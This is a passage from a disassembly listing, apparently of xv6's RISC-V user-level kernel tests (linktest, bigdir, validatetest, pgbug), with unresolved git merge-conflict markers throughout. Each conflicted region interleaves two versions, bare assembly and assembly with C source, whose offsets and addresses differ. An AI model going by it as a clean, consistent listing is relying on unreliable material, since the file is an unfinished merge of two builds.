c72: bd6080e7 jalr -1066(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
c76: 4505 li a0,1
c78: 00005097 auipc ra,0x5
c7c: 854080e7 jalr -1964(ra) # 54cc <exit>
0000000000000c80 <linktest>:
<<<<<<< HEAD
=======
void linktest(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
c80: 1101 addi sp,sp,-32
c82: ec06 sd ra,24(sp)
c84: e822 sd s0,16(sp)
c86: e426 sd s1,8(sp)
c88: e04a sd s2,0(sp)
c8a: 1000 addi s0,sp,32
c8c: 892a mv s2,a0
<<<<<<< HEAD
c8e: 00005517 auipc a0,0x5
c92: 5f250513 addi a0,a0,1522 # 6280 <l_free+0x818>
c96: 00005097 auipc ra,0x5
c9a: 886080e7 jalr -1914(ra) # 551c <unlink>
c9e: 00005517 auipc a0,0x5
ca2: 5ea50513 addi a0,a0,1514 # 6288 <l_free+0x820>
ca6: 00005097 auipc ra,0x5
caa: 876080e7 jalr -1930(ra) # 551c <unlink>
cae: 20200593 li a1,514
cb2: 00005517 auipc a0,0x5
cb6: 5ce50513 addi a0,a0,1486 # 6280 <l_free+0x818>
cba: 00005097 auipc ra,0x5
cbe: 852080e7 jalr -1966(ra) # 550c <open>
cc2: 10054763 bltz a0,dd0 <linktest+0x150>
cc6: 84aa mv s1,a0
cc8: 4615 li a2,5
cca: 00005597 auipc a1,0x5
cce: 50658593 addi a1,a1,1286 # 61d0 <l_free+0x768>
=======
unlink("lf1");
c8e: 00005517 auipc a0,0x5
c92: 5f250513 addi a0,a0,1522 # 6280 <l_free+0x81a>
c96: 00005097 auipc ra,0x5
c9a: 886080e7 jalr -1914(ra) # 551c <unlink>
unlink("lf2");
c9e: 00005517 auipc a0,0x5
ca2: 5ea50513 addi a0,a0,1514 # 6288 <l_free+0x822>
ca6: 00005097 auipc ra,0x5
caa: 876080e7 jalr -1930(ra) # 551c <unlink>
fd = open("lf1", O_CREATE | O_RDWR);
cae: 20200593 li a1,514
cb2: 00005517 auipc a0,0x5
cb6: 5ce50513 addi a0,a0,1486 # 6280 <l_free+0x81a>
cba: 00005097 auipc ra,0x5
cbe: 852080e7 jalr -1966(ra) # 550c <open>
if (fd < 0) {
cc2: 10054763 bltz a0,dd0 <linktest+0x150>
cc6: 84aa mv s1,a0
if (write(fd, "hello", SZ) != SZ) {
cc8: 4615 li a2,5
cca: 00005597 auipc a1,0x5
cce: 50658593 addi a1,a1,1286 # 61d0 <l_free+0x76a>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
cd2: 00005097 auipc ra,0x5
cd6: 81a080e7 jalr -2022(ra) # 54ec <write>
cda: 4795 li a5,5
cdc: 10f51863 bne a0,a5,dec <linktest+0x16c>
<<<<<<< HEAD
ce0: 8526 mv a0,s1
ce2: 00005097 auipc ra,0x5
ce6: 812080e7 jalr -2030(ra) # 54f4 <close>
cea: 00005597 auipc a1,0x5
cee: 59e58593 addi a1,a1,1438 # 6288 <l_free+0x820>
cf2: 00005517 auipc a0,0x5
cf6: 58e50513 addi a0,a0,1422 # 6280 <l_free+0x818>
cfa: 00005097 auipc ra,0x5
cfe: 832080e7 jalr -1998(ra) # 552c <link>
d02: 10054363 bltz a0,e08 <linktest+0x188>
d06: 00005517 auipc a0,0x5
d0a: 57a50513 addi a0,a0,1402 # 6280 <l_free+0x818>
d0e: 00005097 auipc ra,0x5
d12: 80e080e7 jalr -2034(ra) # 551c <unlink>
d16: 4581 li a1,0
d18: 00005517 auipc a0,0x5
d1c: 56850513 addi a0,a0,1384 # 6280 <l_free+0x818>
d20: 00004097 auipc ra,0x4
d24: 7ec080e7 jalr 2028(ra) # 550c <open>
d28: 0e055e63 bgez a0,e24 <linktest+0x1a4>
d2c: 4581 li a1,0
d2e: 00005517 auipc a0,0x5
d32: 55a50513 addi a0,a0,1370 # 6288 <l_free+0x820>
d36: 00004097 auipc ra,0x4
d3a: 7d6080e7 jalr 2006(ra) # 550c <open>
d3e: 84aa mv s1,a0
d40: 10054063 bltz a0,e40 <linktest+0x1c0>
d44: 660d lui a2,0x3
d46: 0000b597 auipc a1,0xb
d4a: cca58593 addi a1,a1,-822 # ba10 <buf>
=======
close(fd);
ce0: 8526 mv a0,s1
ce2: 00005097 auipc ra,0x5
ce6: 812080e7 jalr -2030(ra) # 54f4 <close>
if (link("lf1", "lf2") < 0) {
cea: 00005597 auipc a1,0x5
cee: 59e58593 addi a1,a1,1438 # 6288 <l_free+0x822>
cf2: 00005517 auipc a0,0x5
cf6: 58e50513 addi a0,a0,1422 # 6280 <l_free+0x81a>
cfa: 00005097 auipc ra,0x5
cfe: 832080e7 jalr -1998(ra) # 552c <link>
d02: 10054363 bltz a0,e08 <linktest+0x188>
unlink("lf1");
d06: 00005517 auipc a0,0x5
d0a: 57a50513 addi a0,a0,1402 # 6280 <l_free+0x81a>
d0e: 00005097 auipc ra,0x5
d12: 80e080e7 jalr -2034(ra) # 551c <unlink>
if (open("lf1", 0) >= 0) {
d16: 4581 li a1,0
d18: 00005517 auipc a0,0x5
d1c: 56850513 addi a0,a0,1384 # 6280 <l_free+0x81a>
d20: 00004097 auipc ra,0x4
d24: 7ec080e7 jalr 2028(ra) # 550c <open>
d28: 0e055e63 bgez a0,e24 <linktest+0x1a4>
fd = open("lf2", 0);
d2c: 4581 li a1,0
d2e: 00005517 auipc a0,0x5
d32: 55a50513 addi a0,a0,1370 # 6288 <l_free+0x822>
d36: 00004097 auipc ra,0x4
d3a: 7d6080e7 jalr 2006(ra) # 550c <open>
d3e: 84aa mv s1,a0
if (fd < 0) {
d40: 10054063 bltz a0,e40 <linktest+0x1c0>
if (read(fd, buf, sizeof(buf)) != SZ) {
d44: 660d lui a2,0x3
d46: 0000b597 auipc a1,0xb
d4a: c7258593 addi a1,a1,-910 # b9b8 <buf>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
d4e: 00004097 auipc ra,0x4
d52: 796080e7 jalr 1942(ra) # 54e4 <read>
d56: 4795 li a5,5
d58: 10f51263 bne a0,a5,e5c <linktest+0x1dc>
<<<<<<< HEAD
d5c: 8526 mv a0,s1
d5e: 00004097 auipc ra,0x4
d62: 796080e7 jalr 1942(ra) # 54f4 <close>
d66: 00005597 auipc a1,0x5
d6a: 52258593 addi a1,a1,1314 # 6288 <l_free+0x820>
=======
close(fd);
d5c: 8526 mv a0,s1
d5e: 00004097 auipc ra,0x4
d62: 796080e7 jalr 1942(ra) # 54f4 <close>
if (link("lf2", "lf2") >= 0) {
d66: 00005597 auipc a1,0x5
d6a: 52258593 addi a1,a1,1314 # 6288 <l_free+0x822>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
d6e: 852e mv a0,a1
d70: 00004097 auipc ra,0x4
d74: 7bc080e7 jalr 1980(ra) # 552c <link>
d78: 10055063 bgez a0,e78 <linktest+0x1f8>
<<<<<<< HEAD
d7c: 00005517 auipc a0,0x5
d80: 50c50513 addi a0,a0,1292 # 6288 <l_free+0x820>
d84: 00004097 auipc ra,0x4
d88: 798080e7 jalr 1944(ra) # 551c <unlink>
d8c: 00005597 auipc a1,0x5
d90: 4f458593 addi a1,a1,1268 # 6280 <l_free+0x818>
d94: 00005517 auipc a0,0x5
d98: 4f450513 addi a0,a0,1268 # 6288 <l_free+0x820>
d9c: 00004097 auipc ra,0x4
da0: 790080e7 jalr 1936(ra) # 552c <link>
da4: 0e055863 bgez a0,e94 <linktest+0x214>
da8: 00005597 auipc a1,0x5
dac: 4d858593 addi a1,a1,1240 # 6280 <l_free+0x818>
db0: 00005517 auipc a0,0x5
db4: 5e050513 addi a0,a0,1504 # 6390 <l_free+0x928>
db8: 00004097 auipc ra,0x4
dbc: 774080e7 jalr 1908(ra) # 552c <link>
dc0: 0e055863 bgez a0,eb0 <linktest+0x230>
=======
unlink("lf2");
d7c: 00005517 auipc a0,0x5
d80: 50c50513 addi a0,a0,1292 # 6288 <l_free+0x822>
d84: 00004097 auipc ra,0x4
d88: 798080e7 jalr 1944(ra) # 551c <unlink>
if (link("lf2", "lf1") >= 0) {
d8c: 00005597 auipc a1,0x5
d90: 4f458593 addi a1,a1,1268 # 6280 <l_free+0x81a>
d94: 00005517 auipc a0,0x5
d98: 4f450513 addi a0,a0,1268 # 6288 <l_free+0x822>
d9c: 00004097 auipc ra,0x4
da0: 790080e7 jalr 1936(ra) # 552c <link>
da4: 0e055863 bgez a0,e94 <linktest+0x214>
if (link(".", "lf1") >= 0) {
da8: 00005597 auipc a1,0x5
dac: 4d858593 addi a1,a1,1240 # 6280 <l_free+0x81a>
db0: 00005517 auipc a0,0x5
db4: 5e050513 addi a0,a0,1504 # 6390 <l_free+0x92a>
db8: 00004097 auipc ra,0x4
dbc: 774080e7 jalr 1908(ra) # 552c <link>
dc0: 0e055863 bgez a0,eb0 <linktest+0x230>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
dc4: 60e2 ld ra,24(sp)
dc6: 6442 ld s0,16(sp)
dc8: 64a2 ld s1,8(sp)
dca: 6902 ld s2,0(sp)
dcc: 6105 addi sp,sp,32
dce: 8082 ret
<<<<<<< HEAD
dd0: 85ca mv a1,s2
dd2: 00005517 auipc a0,0x5
dd6: 4be50513 addi a0,a0,1214 # 6290 <l_free+0x828>
dda: 00005097 auipc ra,0x5
dde: a6c080e7 jalr -1428(ra) # 5846 <printf>
de2: 4505 li a0,1
de4: 00004097 auipc ra,0x4
de8: 6e8080e7 jalr 1768(ra) # 54cc <exit>
dec: 85ca mv a1,s2
dee: 00005517 auipc a0,0x5
df2: 4ba50513 addi a0,a0,1210 # 62a8 <l_free+0x840>
df6: 00005097 auipc ra,0x5
dfa: a50080e7 jalr -1456(ra) # 5846 <printf>
dfe: 4505 li a0,1
e00: 00004097 auipc ra,0x4
e04: 6cc080e7 jalr 1740(ra) # 54cc <exit>
e08: 85ca mv a1,s2
e0a: 00005517 auipc a0,0x5
e0e: 4b650513 addi a0,a0,1206 # 62c0 <l_free+0x858>
e12: 00005097 auipc ra,0x5
e16: a34080e7 jalr -1484(ra) # 5846 <printf>
e1a: 4505 li a0,1
e1c: 00004097 auipc ra,0x4
e20: 6b0080e7 jalr 1712(ra) # 54cc <exit>
e24: 85ca mv a1,s2
e26: 00005517 auipc a0,0x5
e2a: 4ba50513 addi a0,a0,1210 # 62e0 <l_free+0x878>
e2e: 00005097 auipc ra,0x5
e32: a18080e7 jalr -1512(ra) # 5846 <printf>
e36: 4505 li a0,1
e38: 00004097 auipc ra,0x4
e3c: 694080e7 jalr 1684(ra) # 54cc <exit>
e40: 85ca mv a1,s2
e42: 00005517 auipc a0,0x5
e46: 4ce50513 addi a0,a0,1230 # 6310 <l_free+0x8a8>
e4a: 00005097 auipc ra,0x5
e4e: 9fc080e7 jalr -1540(ra) # 5846 <printf>
e52: 4505 li a0,1
e54: 00004097 auipc ra,0x4
e58: 678080e7 jalr 1656(ra) # 54cc <exit>
e5c: 85ca mv a1,s2
e5e: 00005517 auipc a0,0x5
e62: 4ca50513 addi a0,a0,1226 # 6328 <l_free+0x8c0>
e66: 00005097 auipc ra,0x5
e6a: 9e0080e7 jalr -1568(ra) # 5846 <printf>
e6e: 4505 li a0,1
e70: 00004097 auipc ra,0x4
e74: 65c080e7 jalr 1628(ra) # 54cc <exit>
e78: 85ca mv a1,s2
e7a: 00005517 auipc a0,0x5
e7e: 4c650513 addi a0,a0,1222 # 6340 <l_free+0x8d8>
e82: 00005097 auipc ra,0x5
e86: 9c4080e7 jalr -1596(ra) # 5846 <printf>
e8a: 4505 li a0,1
e8c: 00004097 auipc ra,0x4
e90: 640080e7 jalr 1600(ra) # 54cc <exit>
e94: 85ca mv a1,s2
e96: 00005517 auipc a0,0x5
e9a: 4d250513 addi a0,a0,1234 # 6368 <l_free+0x900>
e9e: 00005097 auipc ra,0x5
ea2: 9a8080e7 jalr -1624(ra) # 5846 <printf>
ea6: 4505 li a0,1
ea8: 00004097 auipc ra,0x4
eac: 624080e7 jalr 1572(ra) # 54cc <exit>
eb0: 85ca mv a1,s2
eb2: 00005517 auipc a0,0x5
eb6: 4e650513 addi a0,a0,1254 # 6398 <l_free+0x930>
eba: 00005097 auipc ra,0x5
ebe: 98c080e7 jalr -1652(ra) # 5846 <printf>
=======
printf("%s: create lf1 failed\n", s);
dd0: 85ca mv a1,s2
dd2: 00005517 auipc a0,0x5
dd6: 4be50513 addi a0,a0,1214 # 6290 <l_free+0x82a>
dda: 00005097 auipc ra,0x5
dde: a6a080e7 jalr -1430(ra) # 5844 <printf>
exit(1);
de2: 4505 li a0,1
de4: 00004097 auipc ra,0x4
de8: 6e8080e7 jalr 1768(ra) # 54cc <exit>
printf("%s: write lf1 failed\n", s);
dec: 85ca mv a1,s2
dee: 00005517 auipc a0,0x5
df2: 4ba50513 addi a0,a0,1210 # 62a8 <l_free+0x842>
df6: 00005097 auipc ra,0x5
dfa: a4e080e7 jalr -1458(ra) # 5844 <printf>
exit(1);
dfe: 4505 li a0,1
e00: 00004097 auipc ra,0x4
e04: 6cc080e7 jalr 1740(ra) # 54cc <exit>
printf("%s: link lf1 lf2 failed\n", s);
e08: 85ca mv a1,s2
e0a: 00005517 auipc a0,0x5
e0e: 4b650513 addi a0,a0,1206 # 62c0 <l_free+0x85a>
e12: 00005097 auipc ra,0x5
e16: a32080e7 jalr -1486(ra) # 5844 <printf>
exit(1);
e1a: 4505 li a0,1
e1c: 00004097 auipc ra,0x4
e20: 6b0080e7 jalr 1712(ra) # 54cc <exit>
printf("%s: unlinked lf1 but it is still there!\n", s);
e24: 85ca mv a1,s2
e26: 00005517 auipc a0,0x5
e2a: 4ba50513 addi a0,a0,1210 # 62e0 <l_free+0x87a>
e2e: 00005097 auipc ra,0x5
e32: a16080e7 jalr -1514(ra) # 5844 <printf>
exit(1);
e36: 4505 li a0,1
e38: 00004097 auipc ra,0x4
e3c: 694080e7 jalr 1684(ra) # 54cc <exit>
printf("%s: open lf2 failed\n", s);
e40: 85ca mv a1,s2
e42: 00005517 auipc a0,0x5
e46: 4ce50513 addi a0,a0,1230 # 6310 <l_free+0x8aa>
e4a: 00005097 auipc ra,0x5
e4e: 9fa080e7 jalr -1542(ra) # 5844 <printf>
exit(1);
e52: 4505 li a0,1
e54: 00004097 auipc ra,0x4
e58: 678080e7 jalr 1656(ra) # 54cc <exit>
printf("%s: read lf2 failed\n", s);
e5c: 85ca mv a1,s2
e5e: 00005517 auipc a0,0x5
e62: 4ca50513 addi a0,a0,1226 # 6328 <l_free+0x8c2>
e66: 00005097 auipc ra,0x5
e6a: 9de080e7 jalr -1570(ra) # 5844 <printf>
exit(1);
e6e: 4505 li a0,1
e70: 00004097 auipc ra,0x4
e74: 65c080e7 jalr 1628(ra) # 54cc <exit>
printf("%s: link lf2 lf2 succeeded! oops\n", s);
e78: 85ca mv a1,s2
e7a: 00005517 auipc a0,0x5
e7e: 4c650513 addi a0,a0,1222 # 6340 <l_free+0x8da>
e82: 00005097 auipc ra,0x5
e86: 9c2080e7 jalr -1598(ra) # 5844 <printf>
exit(1);
e8a: 4505 li a0,1
e8c: 00004097 auipc ra,0x4
e90: 640080e7 jalr 1600(ra) # 54cc <exit>
printf("%s: link non-existant succeeded! oops\n", s);
e94: 85ca mv a1,s2
e96: 00005517 auipc a0,0x5
e9a: 4d250513 addi a0,a0,1234 # 6368 <l_free+0x902>
e9e: 00005097 auipc ra,0x5
ea2: 9a6080e7 jalr -1626(ra) # 5844 <printf>
exit(1);
ea6: 4505 li a0,1
ea8: 00004097 auipc ra,0x4
eac: 624080e7 jalr 1572(ra) # 54cc <exit>
printf("%s: link . lf1 succeeded! oops\n", s);
eb0: 85ca mv a1,s2
eb2: 00005517 auipc a0,0x5
eb6: 4e650513 addi a0,a0,1254 # 6398 <l_free+0x932>
eba: 00005097 auipc ra,0x5
ebe: 98a080e7 jalr -1654(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
ec2: 4505 li a0,1
ec4: 00004097 auipc ra,0x4
ec8: 608080e7 jalr 1544(ra) # 54cc <exit>
0000000000000ecc <bigdir>:
<<<<<<< HEAD
=======
void bigdir(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
ecc: 715d addi sp,sp,-80
ece: e486 sd ra,72(sp)
ed0: e0a2 sd s0,64(sp)
ed2: fc26 sd s1,56(sp)
ed4: f84a sd s2,48(sp)
ed6: f44e sd s3,40(sp)
ed8: f052 sd s4,32(sp)
eda: ec56 sd s5,24(sp)
edc: e85a sd s6,16(sp)
ede: 0880 addi s0,sp,80
ee0: 89aa mv s3,a0
<<<<<<< HEAD
ee2: 00005517 auipc a0,0x5
ee6: 4d650513 addi a0,a0,1238 # 63b8 <l_free+0x950>
eea: 00004097 auipc ra,0x4
eee: 632080e7 jalr 1586(ra) # 551c <unlink>
ef2: 20000593 li a1,512
ef6: 00005517 auipc a0,0x5
efa: 4c250513 addi a0,a0,1218 # 63b8 <l_free+0x950>
efe: 00004097 auipc ra,0x4
f02: 60e080e7 jalr 1550(ra) # 550c <open>
f06: 0c054963 bltz a0,fd8 <bigdir+0x10c>
f0a: 00004097 auipc ra,0x4
f0e: 5ea080e7 jalr 1514(ra) # 54f4 <close>
f12: 4901 li s2,0
f14: 07800a93 li s5,120
f18: 00005a17 auipc s4,0x5
f1c: 4a0a0a13 addi s4,s4,1184 # 63b8 <l_free+0x950>
f20: 1f400b13 li s6,500
f24: fb540823 sb s5,-80(s0)
=======
unlink("bd");
ee2: 00005517 auipc a0,0x5
ee6: 4d650513 addi a0,a0,1238 # 63b8 <l_free+0x952>
eea: 00004097 auipc ra,0x4
eee: 632080e7 jalr 1586(ra) # 551c <unlink>
fd = open("bd", O_CREATE);
ef2: 20000593 li a1,512
ef6: 00005517 auipc a0,0x5
efa: 4c250513 addi a0,a0,1218 # 63b8 <l_free+0x952>
efe: 00004097 auipc ra,0x4
f02: 60e080e7 jalr 1550(ra) # 550c <open>
if (fd < 0) {
f06: 0c054963 bltz a0,fd8 <bigdir+0x10c>
close(fd);
f0a: 00004097 auipc ra,0x4
f0e: 5ea080e7 jalr 1514(ra) # 54f4 <close>
for (i = 0; i < N; i++) {
f12: 4901 li s2,0
name[0] = 'x';
f14: 07800a93 li s5,120
if (link("bd", name) != 0) {
f18: 00005a17 auipc s4,0x5
f1c: 4a0a0a13 addi s4,s4,1184 # 63b8 <l_free+0x952>
for (i = 0; i < N; i++) {
f20: 1f400b13 li s6,500
name[0] = 'x';
f24: fb540823 sb s5,-80(s0)
name[1] = '0' + (i / 64);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
f28: 41f9579b sraiw a5,s2,0x1f
f2c: 01a7d71b srliw a4,a5,0x1a
f30: 012707bb addw a5,a4,s2
f34: 4067d69b sraiw a3,a5,0x6
f38: 0306869b addiw a3,a3,48
f3c: fad408a3 sb a3,-79(s0)
<<<<<<< HEAD
=======
name[2] = '0' + (i % 64);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
f40: 03f7f793 andi a5,a5,63
f44: 9f99 subw a5,a5,a4
f46: 0307879b addiw a5,a5,48
f4a: faf40923 sb a5,-78(s0)
<<<<<<< HEAD
f4e: fa0409a3 sb zero,-77(s0)
=======
name[3] = '\0';
f4e: fa0409a3 sb zero,-77(s0)
if (link("bd", name) != 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
f52: fb040593 addi a1,s0,-80
f56: 8552 mv a0,s4
f58: 00004097 auipc ra,0x4
f5c: 5d4080e7 jalr 1492(ra) # 552c <link>
f60: 84aa mv s1,a0
f62: e949 bnez a0,ff4 <bigdir+0x128>
<<<<<<< HEAD
f64: 2905 addiw s2,s2,1
f66: fb691fe3 bne s2,s6,f24 <bigdir+0x58>
f6a: 00005517 auipc a0,0x5
f6e: 44e50513 addi a0,a0,1102 # 63b8 <l_free+0x950>
f72: 00004097 auipc ra,0x4
f76: 5aa080e7 jalr 1450(ra) # 551c <unlink>
f7a: 07800913 li s2,120
f7e: 1f400a13 li s4,500
f82: fb240823 sb s2,-80(s0)
=======
for (i = 0; i < N; i++) {
f64: 2905 addiw s2,s2,1
f66: fb691fe3 bne s2,s6,f24 <bigdir+0x58>
unlink("bd");
f6a: 00005517 auipc a0,0x5
f6e: 44e50513 addi a0,a0,1102 # 63b8 <l_free+0x952>
f72: 00004097 auipc ra,0x4
f76: 5aa080e7 jalr 1450(ra) # 551c <unlink>
name[0] = 'x';
f7a: 07800913 li s2,120
for (i = 0; i < N; i++) {
f7e: 1f400a13 li s4,500
name[0] = 'x';
f82: fb240823 sb s2,-80(s0)
name[1] = '0' + (i / 64);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
f86: 41f4d79b sraiw a5,s1,0x1f
f8a: 01a7d71b srliw a4,a5,0x1a
f8e: 009707bb addw a5,a4,s1
f92: 4067d69b sraiw a3,a5,0x6
f96: 0306869b addiw a3,a3,48
f9a: fad408a3 sb a3,-79(s0)
<<<<<<< HEAD
=======
name[2] = '0' + (i % 64);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
f9e: 03f7f793 andi a5,a5,63
fa2: 9f99 subw a5,a5,a4
fa4: 0307879b addiw a5,a5,48
fa8: faf40923 sb a5,-78(s0)
<<<<<<< HEAD
fac: fa0409a3 sb zero,-77(s0)
=======
name[3] = '\0';
fac: fa0409a3 sb zero,-77(s0)
if (unlink(name) != 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
fb0: fb040513 addi a0,s0,-80
fb4: 00004097 auipc ra,0x4
fb8: 568080e7 jalr 1384(ra) # 551c <unlink>
fbc: ed21 bnez a0,1014 <bigdir+0x148>
<<<<<<< HEAD
fbe: 2485 addiw s1,s1,1
fc0: fd4491e3 bne s1,s4,f82 <bigdir+0xb6>
=======
for (i = 0; i < N; i++) {
fbe: 2485 addiw s1,s1,1
fc0: fd4491e3 bne s1,s4,f82 <bigdir+0xb6>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
fc4: 60a6 ld ra,72(sp)
fc6: 6406 ld s0,64(sp)
fc8: 74e2 ld s1,56(sp)
fca: 7942 ld s2,48(sp)
fcc: 79a2 ld s3,40(sp)
fce: 7a02 ld s4,32(sp)
fd0: 6ae2 ld s5,24(sp)
fd2: 6b42 ld s6,16(sp)
fd4: 6161 addi sp,sp,80
fd6: 8082 ret
<<<<<<< HEAD
fd8: 85ce mv a1,s3
fda: 00005517 auipc a0,0x5
fde: 3e650513 addi a0,a0,998 # 63c0 <l_free+0x958>
fe2: 00005097 auipc ra,0x5
fe6: 864080e7 jalr -1948(ra) # 5846 <printf>
fea: 4505 li a0,1
fec: 00004097 auipc ra,0x4
ff0: 4e0080e7 jalr 1248(ra) # 54cc <exit>
ff4: fb040613 addi a2,s0,-80
ff8: 85ce mv a1,s3
ffa: 00005517 auipc a0,0x5
ffe: 3e650513 addi a0,a0,998 # 63e0 <l_free+0x978>
1002: 00005097 auipc ra,0x5
1006: 844080e7 jalr -1980(ra) # 5846 <printf>
100a: 4505 li a0,1
100c: 00004097 auipc ra,0x4
1010: 4c0080e7 jalr 1216(ra) # 54cc <exit>
1014: 85ce mv a1,s3
1016: 00005517 auipc a0,0x5
101a: 3ea50513 addi a0,a0,1002 # 6400 <l_free+0x998>
101e: 00005097 auipc ra,0x5
1022: 828080e7 jalr -2008(ra) # 5846 <printf>
=======
printf("%s: bigdir create failed\n", s);
fd8: 85ce mv a1,s3
fda: 00005517 auipc a0,0x5
fde: 3e650513 addi a0,a0,998 # 63c0 <l_free+0x95a>
fe2: 00005097 auipc ra,0x5
fe6: 862080e7 jalr -1950(ra) # 5844 <printf>
exit(1);
fea: 4505 li a0,1
fec: 00004097 auipc ra,0x4
ff0: 4e0080e7 jalr 1248(ra) # 54cc <exit>
printf("%s: bigdir link(bd, %s) failed\n", s, name);
ff4: fb040613 addi a2,s0,-80
ff8: 85ce mv a1,s3
ffa: 00005517 auipc a0,0x5
ffe: 3e650513 addi a0,a0,998 # 63e0 <l_free+0x97a>
1002: 00005097 auipc ra,0x5
1006: 842080e7 jalr -1982(ra) # 5844 <printf>
exit(1);
100a: 4505 li a0,1
100c: 00004097 auipc ra,0x4
1010: 4c0080e7 jalr 1216(ra) # 54cc <exit>
printf("%s: bigdir unlink failed", s);
1014: 85ce mv a1,s3
1016: 00005517 auipc a0,0x5
101a: 3ea50513 addi a0,a0,1002 # 6400 <l_free+0x99a>
101e: 00005097 auipc ra,0x5
1022: 826080e7 jalr -2010(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1026: 4505 li a0,1
1028: 00004097 auipc ra,0x4
102c: 4a4080e7 jalr 1188(ra) # 54cc <exit>
0000000000001030 <validatetest>:
<<<<<<< HEAD
=======
void validatetest(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1030: 7139 addi sp,sp,-64
1032: fc06 sd ra,56(sp)
1034: f822 sd s0,48(sp)
1036: f426 sd s1,40(sp)
1038: f04a sd s2,32(sp)
103a: ec4e sd s3,24(sp)
103c: e852 sd s4,16(sp)
103e: e456 sd s5,8(sp)
1040: e05a sd s6,0(sp)
1042: 0080 addi s0,sp,64
1044: 8b2a mv s6,a0
<<<<<<< HEAD
1046: 4481 li s1,0
1048: 00005997 auipc s3,0x5
104c: 3d898993 addi s3,s3,984 # 6420 <l_free+0x9b8>
1050: 597d li s2,-1
1052: 6a85 lui s5,0x1
1054: 00114a37 lui s4,0x114
=======
for (p = 0; p <= (uint)hi; p += PGSIZE) {
1046: 4481 li s1,0
if (link("nosuchfile", (char *)p) != -1) {
1048: 00005997 auipc s3,0x5
104c: 3d898993 addi s3,s3,984 # 6420 <l_free+0x9ba>
1050: 597d li s2,-1
for (p = 0; p <= (uint)hi; p += PGSIZE) {
1052: 6a85 lui s5,0x1
1054: 00114a37 lui s4,0x114
if (link("nosuchfile", (char *)p) != -1) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1058: 85a6 mv a1,s1
105a: 854e mv a0,s3
105c: 00004097 auipc ra,0x4
1060: 4d0080e7 jalr 1232(ra) # 552c <link>
1064: 01251f63 bne a0,s2,1082 <validatetest+0x52>
<<<<<<< HEAD
1068: 94d6 add s1,s1,s5
106a: ff4497e3 bne s1,s4,1058 <validatetest+0x28>
=======
for (p = 0; p <= (uint)hi; p += PGSIZE) {
1068: 94d6 add s1,s1,s5
106a: ff4497e3 bne s1,s4,1058 <validatetest+0x28>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
106e: 70e2 ld ra,56(sp)
1070: 7442 ld s0,48(sp)
1072: 74a2 ld s1,40(sp)
1074: 7902 ld s2,32(sp)
1076: 69e2 ld s3,24(sp)
1078: 6a42 ld s4,16(sp)
107a: 6aa2 ld s5,8(sp)
107c: 6b02 ld s6,0(sp)
107e: 6121 addi sp,sp,64
1080: 8082 ret
<<<<<<< HEAD
1082: 85da mv a1,s6
1084: 00005517 auipc a0,0x5
1088: 3ac50513 addi a0,a0,940 # 6430 <l_free+0x9c8>
108c: 00004097 auipc ra,0x4
1090: 7ba080e7 jalr 1978(ra) # 5846 <printf>
=======
printf("%s: link should not succeed\n", s);
1082: 85da mv a1,s6
1084: 00005517 auipc a0,0x5
1088: 3ac50513 addi a0,a0,940 # 6430 <l_free+0x9ca>
108c: 00004097 auipc ra,0x4
1090: 7b8080e7 jalr 1976(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1094: 4505 li a0,1
1096: 00004097 auipc ra,0x4
109a: 436080e7 jalr 1078(ra) # 54cc <exit>
000000000000109e <pgbug>:
<<<<<<< HEAD
=======
void pgbug(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
109e: 7179 addi sp,sp,-48
10a0: f406 sd ra,40(sp)
10a2: f022 sd s0,32(sp)
10a4: ec26 sd s1,24(sp)
10a6: 1800 addi s0,sp,48
<<<<<<< HEAD
10a8: fc043c23 sd zero,-40(s0)
10ac: 00007497 auipc s1,0x7
10b0: 11c4b483 ld s1,284(s1) # 81c8 <__SDATA_BEGIN__>
=======
argv[0] = 0;
10a8: fc043c23 sd zero,-40(s0)
exec((char *)0xeaeb0b5b00002f5e, argv);
10ac: 00007497 auipc s1,0x7
10b0: 0c44b483 ld s1,196(s1) # 8170 <__SDATA_BEGIN__>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
10b4: fd840593 addi a1,s0,-40
10b8: 8526 mv a0,s1
10ba: 00004097 auipc ra,0x4
10be: 44a080e7 jalr 1098(ra) # 5504 <exec>
<<<<<<< HEAD
10c2: 8526 mv a0,s1
10c4: 00004097 auipc ra,0x4
10c8: 418080e7 jalr 1048(ra) # 54dc <pipe>
=======
pipe((int *)0xeaeb0b5b00002f5e);
10c2: 8526 mv a0,s1
10c4: 00004097 auipc ra,0x4
10c8: 418080e7 jalr 1048(ra) # 54dc <pipe>
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
10cc: 4501 li a0,0
10ce: 00004097 auipc ra,0x4
10d2: 3fe080e7 jalr 1022(ra) # 54cc <exit>
00000000000010d6 <badarg>:
<<<<<<< HEAD
=======
}
// regression test. test whether exec() leaks memory if one of the
// arguments is invalid. the test passes if the kernel doesn't panic.
void badarg(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
10d6: 7139 addi sp,sp,-64
10d8: fc06 sd ra,56(sp)
10da: f822 sd s0,48(sp)
10dc: f426 sd s1,40(sp)
10de: f04a sd s2,32(sp)
